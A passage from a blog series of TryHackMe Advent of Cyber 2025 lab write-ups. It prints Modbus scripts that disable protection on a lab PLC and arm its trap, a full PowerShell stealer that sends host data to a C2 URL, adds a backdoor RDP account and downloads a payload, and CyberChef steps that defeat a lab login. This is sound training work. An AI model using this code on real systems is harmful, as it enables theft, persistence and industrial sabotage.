Verification): False Should be True C11 (Protection/Override): True ACTIVE - System monitoring for changes C12 (Emergency Dump): False C13 (Audit Logging): False Should be True C14 (Christmas Restored): False Auto-set when system is fixed C15 (Self-Destruct Armed): False ============================================================ THREAT ASSESSMENT: ============================================================ Eggsploit framework detected Protection mechanism active - trap is set Package type forced to eggs Inventory verification disabled Audit logging disabled REMEDIATION REQUIRED ============================================================ (ModBusEnvironment) user@kali:~/ModBusEnvironment$ As we can see, the system is compromised and a trap is set.\nRestoring the System Steps for safe remediation:\nDisable protection mechanism: Set C11=False Reset package type: Set HR0=0 Enable inventory verification: Set C10=True Enable audit logging: Set C13=True Verify armed state is not triggered: Set C15=False This is the provided restore script \u0026ndash; restore_christmas.py \u0026ndash; that follows the steps outlined above and creates our desired register state configuration:\n#!/usr/bin/env python3 from pymodbus.client import ModbusTcpClient import time PLC_IP = \u0026#34;10.114.158.169\u0026#34; PORT = 502 UNIT_ID = 1 def read_coil(client, address): result = client.read_coils(address=address, count=1, slave=UNIT_ID) if not result.isError(): return result.bits[0] return None def read_register(client, address): result = client.read_holding_registers(address=address, count=1, slave=UNIT_ID) if not result.isError(): return result.registers[0] return None # Connect to PLC client = ModbusTcpClient(PLC_IP, port=PORT) if not client.connect(): print(\u0026#34;Failed to connect to PLC\u0026#34;) exit(1) print(\u0026#34;=\u0026#34; * 60) print(\u0026#34;TBFC Drone System - Christmas Restoration\u0026#34;) print(\u0026#34;=\u0026#34; * 60) print() # Step 1: Check current state print(\u0026#34;Step 1: Verifying current system state...\u0026#34;) time.sleep(1) package_type = read_register(client, 0) protection = read_coil(client, 11) armed = read_coil(client, 15) print(f\u0026#34; Package Type: {package_type} (1 = Eggs)\u0026#34;) print(f\u0026#34; Protection Active: {protection}\u0026#34;) print(f\u0026#34; Self-Destruct Armed: {armed}\u0026#34;) print() # Step 2: Disable protection print(\u0026#34;Step 2: Disabling protection mechanism...\u0026#34;) time.sleep(1) result = client.write_coil(11, False, slave=UNIT_ID) if not result.isError(): print(\u0026#34; Protection DISABLED\u0026#34;) print(\u0026#34; Safe to proceed with changes\u0026#34;) else: print(\u0026#34; FAILED to disable protection\u0026#34;) client.close() exit(1) print() time.sleep(1) # Step 3: Change package type to Christmas print(\u0026#34;Step 3: Setting package type to Christmas presents...\u0026#34;) time.sleep(1) result = client.write_register(0, 0, slave=UNIT_ID) if not result.isError(): print(\u0026#34; Package type changed to: Christmas Presents\u0026#34;) else: print(\u0026#34; FAILED to change package type\u0026#34;) print() time.sleep(1) # Step 4: Enable inventory verification print(\u0026#34;Step 4: Enabling inventory verification...\u0026#34;) time.sleep(1) result = client.write_coil(10, True, slave=UNIT_ID) if not result.isError(): print(\u0026#34; Inventory verification ENABLED\u0026#34;) else: print(\u0026#34; FAILED to enable verification\u0026#34;) print() time.sleep(1) # Step 5: Enable audit logging print(\u0026#34;Step 5: Enabling audit logging...\u0026#34;) time.sleep(1) result = client.write_coil(13, True, slave=UNIT_ID) if not result.isError(): print(\u0026#34; Audit logging ENABLED\u0026#34;) print(\u0026#34; Future changes will be logged\u0026#34;) else: print(\u0026#34; FAILED to enable logging\u0026#34;) print() time.sleep(2) # Step 6: Verify restoration print(\u0026#34;Step 6: Verifying system restoration...\u0026#34;) time.sleep(1) christmas_restored = read_coil(client, 14) new_package_type = read_register(client, 0) emergency_dump = read_coil(client, 12) self_destruct = read_coil(client, 15) print(f\u0026#34; Package Type: {new_package_type} (0 = Christmas)\u0026#34;) print(f\u0026#34; Christmas Restored: {christmas_restored}\u0026#34;) print(f\u0026#34; Emergency Dump: {emergency_dump}\u0026#34;) print(f\u0026#34; Self-Destruct Armed: {self_destruct}\u0026#34;) print() if christmas_restored and new_package_type == 0 and not emergency_dump and not self_destruct: print(\u0026#34;=\u0026#34; * 60) print(\u0026#34;SUCCESS - CHRISTMAS IS SAVED\u0026#34;) print(\u0026#34;=\u0026#34; * 60) print() print(\u0026#34;Christmas deliveries have been restored\u0026#34;) print(\u0026#34;The drones will now deliver presents, not eggs\u0026#34;) print(\u0026#34;Check the CCTV feed to see the results\u0026#34;) print() # Read the flag from registers flag_result = client.read_holding_registers(address=20, count=12, slave=UNIT_ID) if not flag_result.isError(): flag_bytes = [] for reg in flag_result.registers: flag_bytes.append(reg \u0026gt;\u0026gt; 8) flag_bytes.append(reg \u0026amp; 0xFF) flag = \u0026#39;\u0026#39;.join(chr(b) for b in flag_bytes if b != 0) print(f\u0026#34;Flag: {flag}\u0026#34;) print() print(\u0026#34;=\u0026#34; * 60) else: print(\u0026#34;Restoration incomplete - check system state\u0026#34;) client.close() print() print(\u0026#34;Disconnected from PLC\u0026#34;) To break it down:\n- We use write_coil() to write to the registers.\n- We disable the protection mechanism by setting C11 = False with client.write_coil(11, False, slave=UNIT_ID).\n- We reset the package type by setting HR0 = 0 with client.write_register(0, 0, slave=UNIT_ID).\n- Lastly, we check if our desired configuration is established by checking the relevant registers with christmas_restored and new_package_type == 0 and not emergency_dump and not self_destruct.\n- At the end of the script, if the restoration was successful, we read the flag from the registers (holding register 20: HR20) with read_holding_registers(address=20, count=12, slave=UNIT_ID).\nEverything works as intended and we are provided with the flag:\n(ModBusEnvironment) user@kali:~/ModBusEnvironment$ mousepad restore_christmas.py (ModBusEnvironment) user@kali:~/ModBusEnvironment$ python3 restore_christmas.py ============================================================ TBFC Drone System - Christmas Restoration ============================================================ Step 1: Verifying current system state... Package Type: 1 (1 = Eggs) Protection Active: True Self-Destruct Armed: False Step 2: Disabling protection mechanism... Protection DISABLED Safe to proceed with changes Step 3: Setting package type to Christmas presents... Package type changed to: Christmas Presents Step 4: Enabling inventory verification... Inventory verification ENABLED Step 5: Enabling audit logging... Audit logging ENABLED Future changes will be logged Step 6: Verifying system restoration... Package Type: 0 (0 = Christmas) Christmas Restored: True Emergency Dump: False Self-Destruct Armed: False ============================================================ SUCCESS - CHRISTMAS IS SAVED ============================================================ Christmas deliveries have been restored The drones will now deliver presents, not eggs Check the CCTV feed to see the results Flag: \u0026lt;redacted-flag\u0026gt; ============================================================ Disconnected from PLC (ModBusEnvironment) user@kali:~/ModBusEnvironment$ Given the successfully restored system, we take a quick look at the PLC CCTV feed. The system reports a \u0026ldquo;Status: System Restored\u0026rdquo; status, and it appears someone is rather angry.\nFigure 4: PLC CCTV Simulator showing restored system status\nBonus - Triggering the Trap But wait \u0026ndash; what exactly happens if we trigger the trap? Let us write a short script \u0026ndash; trigger-the-trap.py \u0026ndash; that does exactly that:\n#!/usr/bin/env python3 from pymodbus.client import ModbusTcpClient import time PLC_IP = \u0026#34;10.114.158.169\u0026#34; PORT = 502 UNIT_ID = 1 def read_coil(client, address): result = client.read_coils(address=address, count=1, slave=UNIT_ID) if not result.isError(): return result.bits[0] return None def read_register(client, address): result = client.read_holding_registers(address=address, count=1, slave=UNIT_ID) if not result.isError(): return result.registers[0] return None # Connect to PLC client = ModbusTcpClient(PLC_IP, port=PORT) if not client.connect(): print(\u0026#34;Failed to connect to PLC\u0026#34;) exit(1) print(\u0026#34;=\u0026#34; * 60) print(\u0026#34;TRIGGER THE TRAP\u0026#34;) print(\u0026#34;=\u0026#34; * 60) print() # Step 1 - Check on current configuration print(\u0026#34;Step 1 - Check on current configuration.\u0026#34;) time.sleep(1) package_type = read_register(client, 0) protection = read_coil(client, 11) armed = read_coil(client, 15) print(f\u0026#34; Package Type: {package_type} (1 = Eggs)\u0026#34;) print(f\u0026#34; Protection Active: {protection}\u0026#34;) print(f\u0026#34; Self-Destruct Armed: {armed}\u0026#34;) print() # Step 2: ENABLE protection mechanism -\u0026gt; C11=True print(\u0026#34;Step 2: ENABLE protection mechanism\u0026#34;) time.sleep(1) result = client.write_coil(11, True, slave=UNIT_ID) if not result.isError(): print(\u0026#34; Protection ENABLED\u0026#34;) print(\u0026#34; Safe to proceed with changes\u0026#34;) else: print(\u0026#34; FAILED to enable protection\u0026#34;) client.close() exit(1) print() time.sleep(1) # Step 3: Change HR0 while C11 is true -\u0026gt; TRIGGER THE TRAP print(\u0026#34;Step 3: Change HR0 while C11 is true -\u0026gt; TRIGGER THE TRAP\u0026#34;) print(\u0026#34;Setting HR0=2 should modify the Package Type to Easter Baskets\u0026#34;) time.sleep(1) result = client.write_register(0, 2, slave=UNIT_ID) if not result.isError(): print(\u0026#34; Package type changed to: Easter Baskets\u0026#34;) else: print(\u0026#34; FAILED to change package type\u0026#34;) print() time.sleep(1) # Step 4: Verify successful trap triggering print(\u0026#34;Step 4: Verify successful trap triggering.\u0026#34;) time.sleep(1) new_package_type = read_register(client, 0) emergency_dump = read_coil(client, 12) self_destruct = read_coil(client, 15) print(f\u0026#34; Package Type: {new_package_type} (2 = Easter Baskets)\u0026#34;) print(f\u0026#34; Emergency Dump: {emergency_dump}\u0026#34;) print(f\u0026#34; Self-Destruct Armed: {self_destruct}\u0026#34;) client.close() print() print(\u0026#34;Disconnected from PLC\u0026#34;) The idea is simple: first enable the protection mechanism by setting C11=True, then change HR0.\nThis should trigger C15, which then gets armed. Let us run it:\n(ModBusEnvironment) user@kali:~/ModBusEnvironment$ python3 trigger-the-trap.py ============================================================ TRIGGER THE TRAP ============================================================ Step 1 - Check on current configuration. Package Type: 0 (1 = Eggs) Protection Active: False Self-Destruct Armed: False Step 2: ENABLE protection mechanism Protection ENABLED Safe to proceed with changes Step 3: Change HR0 while C11 is true -\u003e TRIGGER THE TRAP Setting HR0=2 should modify the Package Type to Easter Baskets Package type changed to: Easter Baskets Step 4: Verify successful trap triggering. Package Type: 1 (2 = Easter Baskets) Emergency Dump: False Self-Destruct Armed: True Disconnected from PLC (ModBusEnvironment) user@kali:~/ModBusEnvironment$ We have successfully triggered the trap, and the Self-Destruct mechanism is armed: \u0026ldquo;Self-Destruct Armed: True\u0026rdquo;.\nCleanup Finally, let us clean up after ourselves \u0026ndash; simply deactivate and then remove the created Python virtual environment:\n(ModBusEnvironment) user@kali:~/ModBusEnvironment$ deactivate user@kali:~/ModBusEnvironment$ cd .. user@kali:~$ ls -hla ... drwxrwxr-x 5 user user 4.0K ... ModBusEnvironment ... user@kali:~$ rm -rf ModBusEnvironment/ user@kali:~$ Questions and Answers Question-1: What\u0026rsquo;s the flag?\n\u0026lt;redacted-flag\u0026gt;\nQuestion-2: If you enjoyed today\u0026rsquo;s room, feel free to check out our OT challenge: Industrial Intrusion.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-19/","summary":"TryHackMe | Advent of Cyber 2025 | Day 19: ICS/Modbus - Claus for Concern + Triggering the Trap","title":"AOC25 | Day-19 + Bonus"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 18\nTitle: Obfuscation - The Egg Shell File Description\nMcSkidy keeps her focus on a particular alert that caught her interest: an email posing as northpole-hr.\nSummary\nWe investigate a suspicious email and examine the obfuscated PowerShell script. We learn that obfuscation techniques like Base64 and XOR are reversible once identified.\nFor task one, we decode a Base64-encoded string using CyberChef, revealing the C2 URL. We update the respective variable and run the script to get the first flag.\nFor task two, we obfuscate an API key using XOR and convert it to hexadecimal using CyberChef. Then just like before, we update the respective variable with the hex string and re-run the script to retrieve the second flag.\nStoryline\nA suspicious email impersonating northpole-hr has triggered system chaos in WareVille. McSkidy recognizes the fraud since TBFC\u0026rsquo;s HR is actually at the South Pole. An attached file containing obfuscated code \u0026ndash; deliberately hidden gibberish \u0026ndash; was downloaded, and McSkidy must decipher it to understand the threat.\nTheory Obfuscation is a technique attackers use to hide data and evade detection. Common methods include the following:\nROT13: A simple cipher that shifts letters forward in the alphabet (easy to detect by looking for odd letters or common three-letter words). XOR: Uses a mathematical operation with a key to transform bytes into random-looking symbols while maintaining the original length. Base64: Encodes data into long alphanumeric strings, often ending with = or ==. Detection and reversal involve identifying visual clues of each technique, then using tools like CyberChef to apply reverse operations (e.g., From Base64 instead of To Base64). CyberChef\u0026rsquo;s Magic operation can automatically guess and test common decoders when the technique is unknown.\nLayered obfuscation combines multiple techniques (e.g., compression, XOR, then Base64 encoding) to make deobfuscation harder. To reverse layered obfuscation, apply operations in the opposite order.\nTakeaway\nWell-known obfuscation techniques are reversible once we identify the method used, making them useful for both attackers and security investigators.\nPractice Source Code The full PowerShell script \u0026ndash; SantaStealer.ps1 \u0026ndash; contains the following obfuscated elements:\n# Only edit where the TODOs say. Do not remove the validator call at the end. # ========================== # IGNORE THIS # ========================== $ErrorActionPreference = \u0026#39;SilentlyContinue\u0026#39; # ========================== # Start here # Part 1: Deobfuscation # ========================== # TODO (Step 1): Deobfuscate the string present in the $C2B64 variable and place the URL in the $C2 variable, # then run this script to get the flag. $C2B64 = \u0026#34;aHR0cHM6Ly9jMi5ub3J0aHBvbGUudGhtL2V4Zmls\u0026#34; $C2 = \u0026#34;\u0026lt;C2_URL_HERE\u0026gt;\u0026#34; # ========================== # Part 2: Obfuscation # ========================== # TODO (Step 2): Obfuscate the API key using XOR single-byte key 0x37 and convert to hexidecimal, # then add the hex string to the $ObfAPieEy variable. # Then run this script again to receive Flag #2 from the validator. $ApiKey = \u0026#34;CANDY-CANE-API-KEY\u0026#34; $ObfAPIKEY = Invoke-XorDecode -Hex \u0026#34;\u0026lt;HEX_HERE\u0026gt;\u0026#34; -Key 0x37 # ========================== # ========================== function Decode-B64 { param([Parameter(Mandatory=$true)][string]$S) try { [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($S)) } catch { \u0026#34;\u0026#34; } } function Invoke-XorDecode { [CmdletBinding()] param( [AllowEmptyString()][string]$Hex, [int]$Key ) if ([string]::IsNullOrWhiteSpace($Hex)) { return \u0026#34;\u0026#34; } $clean = $Hex ` -replace \u0026#39;(?i)0x\u0026#39;,\u0026#39;\u0026#39; ` -replace \u0026#39;[\\s,\u0026#39;\u0026#39;\u0026#34;\u0026#34;:;,_-]+\u0026#39;,\u0026#39;\u0026#39; ` -replace \u0026#39;[^0-9A-Fa-f]\u0026#39;,\u0026#39;\u0026#39; if ($clean.Length -eq 0) { return \u0026#34;\u0026#34; } if (($clean.Length % 2) -ne 0) { return \u0026#34;\u0026#34; } $count = $clean.Length / 2 $bytes = New-Object byte[] $count for ($i = 0; $i -lt $count; $i++) { $pair = $clean.Substring($i * 2, 2) try { $b = [Convert]::ToByte($pair, 16) } catch { $b = 0 } $bytes[$i] = ($b -bxor $Key) } try { return [Text.Encoding]::UTF8.GetString($bytes) } catch { return \u0026#34;\u0026#34; } } # ========================== # ========================== function Get-SystemSnapshot { [PSCustomObject]@{ ts = (Get-Date).ToString(\u0026#34;o\u0026#34;) user = $env:USERNAME host = $env:COMPUTERNAME os = (Get-CimInstance Win32_OperatingSystem).Version ps = $PSVersionTable.PSVersion.ToString() } } function Get-PresentsFile { $path = Join-Path $env:USERPROFILE \u0026#34;Documents\\Santa\\Presents.txt\u0026#34; if (Test-Path -LiteralPath $path) { try { (Get-Content -LiteralPath $path -ErrorAction Stop) -join \u0026#34;`n\u0026#34; } catch { \u0026#34;[read error]\u0026#34; } } else { \u0026#34;[missing]\u0026#34; } } function New-ExfilPayload { param([psobject]$SystemInfo, [string]$Presents) [pscustomobject]@{ t = \u0026#34;present-list-exfil\u0026#34; ep = \u0026#34;[redacted]\u0026#34; sys= $SystemInfo pl = $Presents } | ConvertTo-Json -Depth 5 -Compress } # ========================== # ========================== function C2-Armed([string]$Url){ try { if ([string]::IsNullOrWhiteSpace($Url)) { return $false } $u=[Uri]$Url ($u.Scheme -eq \u0026#34;https\u0026#34;) -and ($u.Host -like \u0026#34;*northpole*\u0026#34;) } catch { $false } } function Exfil([string]$Url,[string]$Payload,[string]$Key){ try { $headers = @{ \u0026#34;X-Api-Key\u0026#34; = $Key; \u0026#34;Content-Type\u0026#34; = \u0026#34;application/json\u0026#34; } $null = Invoke-WebRequest -Uri $Url -Method POST -Body $Payload -Headers $headers -TimeoutSec 5 $true } catch { $false } } # ========================== # ========================== $User = \u0026#34;UmV2aWxSYWJiaXQ=\u0026#34; $Pass = \u0026#34;SDBsbHlXMDBkXkNhcnJvdHMh\u0026#34; $RabbitUrl = \u0026#34;aHR0cDovLzEyNy4wLjAuMTo4MDgwL3JhYmJpdC5wczE=\u0026#34; function Ensure-RevilRabbit { $User = Decode-B64 $script:User $Pass = Decode-B64 $script:Pass $sec = ConvertTo-SecureString $Pass -AsPlainText -Force if (-not (Get-LocalUser -Name $User -ErrorAction SilentlyContinue)) { New-LocalUser -Name $User -Password $sec -FullName \u0026#34;Service Account\u0026#34; -PasswordNeverExpires -UserMayNotChangePassword | Out-Null } try { Add-LocalGroupMember -Group \u0026#34;Remote Desktop Users\u0026#34; -Member $User -ErrorAction Stop } catch {} } function Stage-Rabbit-ForUser { $User = Decode-B64 $script:User $Url = Decode-B64 $script:RabbitUrl $desk = \u0026#34;C:\\Users\\$User\\Desktop\u0026#34; try { New-Item -ItemType Directory -Path $desk -Force | Out-Null \u0026amp; icacls $desk /grant \u0026#34;$env:COMPUTERNAME\\${User}:(OI)(CI)M\u0026#34; /T | Out-Null } catch {} $out = Join-Path $desk \u0026#39;rabbit.ps1\u0026#39; $ok = $false for ($i=0; $i -lt 3 -and -not $ok; $i++) { try { Invoke-WebRequest -Uri $Url -OutFile $out -TimeoutSec 10 $ok = (Test-Path -LiteralPath $out) -and ((Get-Item -LiteralPath $out).Length -gt 0) } catch { Start-Sleep -Seconds 2 } } if (-not $ok) { Set-Content -Path $out -Value \u0026#39;# rabbit placeholder\u0026#39; -Encoding UTF8 } } # ========================== # ========================== Write-Host \u0026#34;[i] Operator session started\u0026#34; Write-Host \u0026#34;[*] Recon: collecting host and user context\u0026#34; $sys = Get-SystemSnapshot Write-Host \u0026#34;[*] Stealing Santas presents list\u0026#34; $plist = Get-PresentsFile Write-Host \u0026#34;[*] Preparing payload\u0026#34; $body = New-ExfilPayload -SystemInfo $sys -Presents $plist if (C2-Armed $C2) { Write-Host \u0026#34;[*] Contacting C2 endpoint\u0026#34; $ok = Exfil -Url $C2 -Payload $body -Key $ApiKey if ($ok) { Write-Host \u0026#34;[+] Exfiltration reported as completed\u0026#34; } else { Write-Host \u0026#34;[i] Exfiltration attempted (no response)\u0026#34; } } else { Write-Host \u0026#34;[i] C2 not reachable\u0026#34; } Write-Host \u0026#34;[*] Establishing foothold\u0026#34; Ensure-RevilRabbit Write-Host \u0026#34;[*] Downloading payload...\u0026#34; Stage-Rabbit-ForUser # ========================== # !!! DO NOT MODIFY !!! # ========================== $ScriptPath = $MyInvocation.MyCommand.Path $Validator = Join-Path $PSScriptRoot \u0026#34;validator.exe\u0026#34; if (Test-Path $Validator) { \u0026amp; $Validator --script \u0026#34;$ScriptPath\u0026#34; } else { Write-Host \u0026#34;[!] validator.exe not found. No flags will be printed.\u0026#34; } Preparation We begin by examining the extracted artifacts, SantaStealer.ps1 and validator.exe, both located in C:\\Users\\Administrator\\Desktop.\nFigure 1: Potentially malicious artifacts on the Desktop\nWe use the pre-installed Visual Studio Code: to open and edit SantaStealer.ps1.\nFigure 2: SantaStealer.ps1 opened in Visual Studio Code:\nFirst Task The first task instructs us to deobfuscate a string. This is the original description found within the script:\nDeobfuscate the string present in the $C2B64 variable and place the URL in the $C2 variable, then run this script to get the flag.\nand these are the mentioned variables, $C2B64 and $C2:\n... $C2B64 = \u0026#34;aHR0cHM6Ly9jMi5ub3J0aHBvbGUudGhtL2V4Zmls\u0026#34; $C2 = \u0026#34;\u0026lt;C2_URL_HERE\u0026gt;\u0026#34; ... The string \u0026ndash; aHR0cHM6Ly9jMi5ub3J0aHBvbGUudGhtL2V4Zmls \u0026ndash; in variable $C2B64 appears to be Base64-encoded. We use CyberChef\u0026rsquo;s From Base64 recipe to decode it.\naHR0cHM6Ly9jMi5ub3J0aHBvbGUudGhtL2V4Zmls \u0026ndash; Base64-encoded message\n↓ (transformation)\nhttps://c2.northpole.thm/exfil \u0026ndash; plaintext message\nThe instructions are clear: we overwrite the $C2 variable with the decoded URL and then run the script.\nFirst, we modify the variable:\n... $C2 = \u0026#34;https://c2.northpole.thm/exfil\u0026#34; ... then save the changes (press Ctrl+S) and launch PowerShell: Start \u0026gt; Right-Click \u0026gt; Windows PowerShell.\nFinally, we navigate to the Desktop:\nPS C:\\Users\\Administrator\u003e cd c:\\users\\administrator\\desktop PS C:\\users\\administrator\\desktop\u003e dir ... Mode LastWriteTime Length Name ---- ------------- ------ ---- ... -a---- ... 6255 SantaStealer.ps1 -a---- ... 70919734 validator.exe ... PS C:\\users\\administrator\\desktop\u003e and then run the script:\nPS C:\\users\\administrator\\desktop\u003e .\\SantaStealer.ps1 [i] Operator session started [*] Recon: collecting host and user context [*] Stealing Santas presents list [*] Preparing payload [*] Contacting C2 endpoint [i] Exfiltration attempted (no response) [*] Establishing foothold [*] Downloading payload... \u0026lt;task-one_redacted-flag\u0026gt; PS C:\\users\\administrator\\desktop\u003e The script ran and provided us with the necessary flag.\nSecond Task Returning to the source code of SantaStealer.ps1, these are the instructions for the second part:\nObfuscate the API key using XOR single-byte key 0x37 and convert to hexadecimal, then add the hex string to the $ObfAPIKEY variable. Then run this script again to receive Flag #2 from the validator.\nand these are the mentioned variables:\n$ApiKey = \u0026#34;CANDY-CANE-API-KEY\u0026#34; $ObfAPIKEY = Invoke-XorDecode -Hex \u0026#34;\u0026lt;HEX_HERE\u0026gt;\u0026#34; -Key 0x37 Let\u0026rsquo;s break this up and work through it step-by-step:\nStep 1: Obfuscate the API key using XOR single-byte key 0x37.\nWe use the XOR recipe in CyberChef with key \u0026lsquo;0x37\u0026rsquo; (hex formatting) on the input \u0026lsquo;CANDY-CANE-API-KEY\u0026rsquo;.\nStep 2: Convert to Hexadecimal.\nWe use the To Hex recipe (after the previously applied XOR recipe) with \u0026lsquo;None\u0026rsquo; as the delimiter and \u0026lsquo;0\u0026rsquo; as the bytes per line.\nThis produces the following output: 747679736e1a747679721a76677e1a7c726e.\nStep 3: Add the hex string to the $ObfAPIKEY variable.\nWe modify the script and overwrite the $ObfAPIKEY variable as follows:\n... $ObfAPIKEY = Invoke-XorDecode -Hex \u0026#34;747679736e1a747679721a76677e1a7c726e\u0026#34; -Key 0x37 ... and then save it.\nStep 4: Run the Script.\nWe re-run the script with PowerShell:\nPS C:\\users\\administrator\\desktop\u003e .\\SantaStealer.ps1 [i] Operator session started [*] Recon: collecting host and user context [*] Stealing Santas presents list [*] Preparing payload [*] Contacting C2 endpoint [i] Exfiltration attempted (no response) [*] Establishing foothold [*] Downloading payload... \u0026lt;task-one_redacted-flag\u0026gt; \u0026lt;task-two_redacted-flag\u0026gt; PS C:\\users\\administrator\\desktop\u003e Great! We are provided with the second flag.\nQuestions and Answers Question-1: What is the first flag you get after deobfuscating the C2 URL and running the script?\n\u0026lt;redacted-flag\u0026gt;\nQuestion-2: What is the second flag you get after obfuscating the API key and running the script again?\n\u0026lt;redacted-flag\u0026gt;\nQuestion-3: If you want to learn more about Obfuscation, check out our Obfuscation Principles room!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-18/","summary":"TryHackMe | Advent of Cyber 2025 | Day 18: Obfuscation - The Egg Shell File","title":"AOC25 | Day-18"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 17\nTitle: CyberChef - Hoperation Save McSkidy\nBonus: Side Quest 3 Key Challenge Description\nThe story continues, and the elves mount a rescue and will try to breach the Quantum Fortress\u0026rsquo;s defenses and free McSkidy.\nSummary\nWe tackle a multi-level CTF challenge called King Malhare\u0026rsquo;s Fortress, where we systematically break through five locked gates to free McSkidy from prison. The challenge revolves around encoding and decoding techniques, with each level introducing increasingly complex cryptographic operations. We leverage CyberChef as our primary tool to transform and decode data at each stage.\nWe systematically break through five fortress gates using a consistent process: Base64-encode the guard name for the username, extract the magic question from HTTP headers, send it to the guard for an encoded password, examine the Debugger to understand the encryption logic, reverse the transformations in CyberChef, and log in.\nStoryline\nMcSkidy is imprisoned in King Malhare\u0026rsquo;s Quantum Warren, secured by five locks. He has secretly sent clues to his team revealing that the locks can be broken by analyzing their logic and exploiting a guards\u0026rsquo; chat system to extract passwords and vital details.\nImportant Concepts Encoding is a method that transforms data to ensure compatibility between different systems.\nIt differs from encryption in that encoding prioritizes usability and compatibility using standardized processes, whereas encryption prioritizes security using algorithms and keys. Encoding is fast but provides no security; encryption is slower but secure.\nDecoding is the reverse process \u0026ndash; converting encoded data back to its original, readable form.\nCyberChef is a web-based tool that allows users to encode, decode, and transform data by chaining together various operations in a user-friendly interface.\nPreparation Things to keep in mind:\nChat is Base64-encoded The guard name differs on each level Network headers contain the question (e.g., X-Magic-Question: What is the password for this level?) Hints and login logic are inside the Debugger tab Steps for opening the gates on the different levels:\nStep-1: Identify the guard name and Base64-encode it; then use it as the username input. Step-2: Base64-encode the magic question from the page headers. Step-3: Send the encoded magic question to the chat and wait for the guard to answer with the encoded level password. Step-4: Identify the level login logic with Debugger. Step-5: Decode the answer from the guard by applying the necessary modifications with CyberChef. Step-6: Log in with credentials \u0026ndash; username (encoded username from step-1) and password (the plaintext password from step-5). Launch the target VM and the attacker box, open the website for King Malhare\u0026rsquo;s Fortress, and begin the mission to free McSkidy from prison.\nThere are five levels: Outer Gate, Outer Wall, Guard House, Inner Castle, and Prison Tower.\nFigure 1: King Malhare\u0026rsquo;s Fortress: Five Levels\nHere is the full login logic for all the different levels:\n// ~app.js ... // User login logic userOk = atob(usr) === guardName; // Password login logic try { if (level === 1) { // CyberChef: From Base64 passOk = btoa(pwd) === expectedConst; } else if (level === 2) { // CyberChef: Double From Base64 passOk = btoa(btoa(pwd)) === expectedConst; } else if (level === 3) { // CyberChef: From Base64 =\u0026gt; XOR(key=recipeKey) const bytes = xorWithKey(toBytes(pwd), toBytes(recipeKey)); const b64 = bytesToBase64(bytes); passOk = b64 === expectedConst; } else if (level === 4) { // CrackStation: Hash lookup passOk = (md5(pwd) === expectedConst); } else if (level === 5) { const recipe = recipeId || \u0026#34;R1\u0026#34;; let tp = pwd; switch (recipe){ case \u0026#34;R1\u0026#34;: // CyberChef: From Base64 =\u0026gt; Reverse =\u0026gt; ROT13 tp = btoa(reverse(rot13(tp))); break; case \u0026#34;R2\u0026#34;: // CyberChef: From Base64 =\u0026gt; FromHex =\u0026gt; Reverse tp = btoa(strToHex(reverse(tp))); break; case \u0026#34;R3\u0026#34;: // CyberChef: ROT13 =\u0026gt; From Base64 =\u0026gt; XOR(key=recipeKey) const exed = bytesToBase64(xorWithKey(toBytes(tp), toBytes(recipeKey || \u0026#34;hare\u0026#34;))); tp = rot13(exed); break; case \u0026#34;R4\u0026#34;: // CyberChef: ROT13 =\u0026gt; From Base64 =\u0026gt; ROT47 tp = rot13(btoa(rot47(tp))); break; default: tp = btoa(reverse(rot13(tp))); } passOk = (tp === expectedConst); } } catch (_) { userOk = passOk = false; } ... Laying siege to the Quantum Fortress First Lock - Outer Gate Question-1: What is the password for the first lock?\nIamsofluffy\nStep-1: Identify the guard name and Base64-encode it.\nWe select the Outer Gate option \u0026ndash; the only unlocked one \u0026ndash; and note the guard name below the chat: CottonTail.\nSince all guard names must be Base64-encoded, we navigate to CyberChef and use the To Base64 recipe, which can be found under Favourites.\nFor the input, we specify the guard name \u0026ndash; CottonTail \u0026ndash; and receive the encoded guard name under Output: Q290dG9uVGFpbA==.\nFigure 2: CyberChef Interface Showing Base64-Encoded Guard Name\nTo summarize:\nCottonTail \u0026ndash; plaintext guard username\n↓ (transformation)\nQ290dG9uVGFpbA== \u0026ndash; Base64-encoded guard username\nStep-2: Base64-encode the magic question from the page headers.\nIn Firefox, we open the browser menu (hamburger icon) in the upper-right corner, select More Tools, and under Browser Tools select Web Developer Tools. We click on the Network tab and refresh the page.\nA web request is sent to http://targetbox-ip:8080/level1, and its respective Response Headers contain a custom header named X-Magic-Question with the value \u0026ldquo;What is the password for this level?\u0026rdquo;.\nFigure 3: HTTP response headers containing X-Magic-Question\nWe copy this value and Base64-encode it with CyberChef:\nWhat is the password for this level? \u0026ndash; plaintext magic question\n↓ (transformation)\nV2hhdCBpcyB0aGUgcGFzc3dvcmQgZm9yIHRoaXMgbGV2ZWw/ \u0026ndash; Base64-encoded magic question\nStep-3: Send the encoded magic question to the chat and wait for the guard to answer with the encoded level password.\nBefore proceeding, we note that the chat already contains one Base64-encoded message: QWxsIGhhaWwgS2luZyBNYWxoYXJlIQ==.\nTo avoid any mishaps, we decode it first with the From Base64 recipe:\nQWxsIGhhaWwgS2luZyBNYWxoYXJlIQ== \u0026ndash; Base64-encoded message\n↓ (transformation)\nAll hail King Malhare! \u0026ndash; plaintext message\nNow that we understand the context, we enter our Base64-encoded magic question (from step-2) into the chat and send it.\nFigure 4: Chat interface with encoded message sent to guard\nWe immediately receive a Base64-encoded answer: SGVyZSBpcyB0aGUgcGFzc3dvcmQ6IFNXRnRjMjltYkhWbVpuaz0=.\nWe decode it with CyberChef using the From Base64 recipe:\nSGVyZSBpcyB0aGUgcGFzc3dvcmQ6IFNXRnRjMjltYkhWbVpuaz0= \u0026ndash; Base64-encoded message\n↓ (transformation)\nHere is the password: SWFtc29mbHVmZnk= \u0026ndash; plaintext message\nStep-4: Identify the level login logic with Debugger.\nWe examine the login logic by navigating to the Debugger tab within Web Developer Tools and viewing the source code of app.js.\nFigure 5: Firefox debugger tab showing login logic in app.js\nFor level 1, the following code snippets are relevant:\nUsername-relevant code:\nThe atob() JavaScript function decodes a string that has been Base64-encoded. This means the guard name (username) must be Base64-encoded when entering credentials. // User login logic userOk = atob(usr) === guardName; Password-relevant code:\nThe btoa() JavaScript function encodes a string in Base64 format. This means we must input the password in plaintext format, which will then be Base64-encoded and compared to the hardcoded password. if (level === 1) { // CyberChef: From Base64 passOk = btoa(pwd) === expectedConst; Step-5: Decode 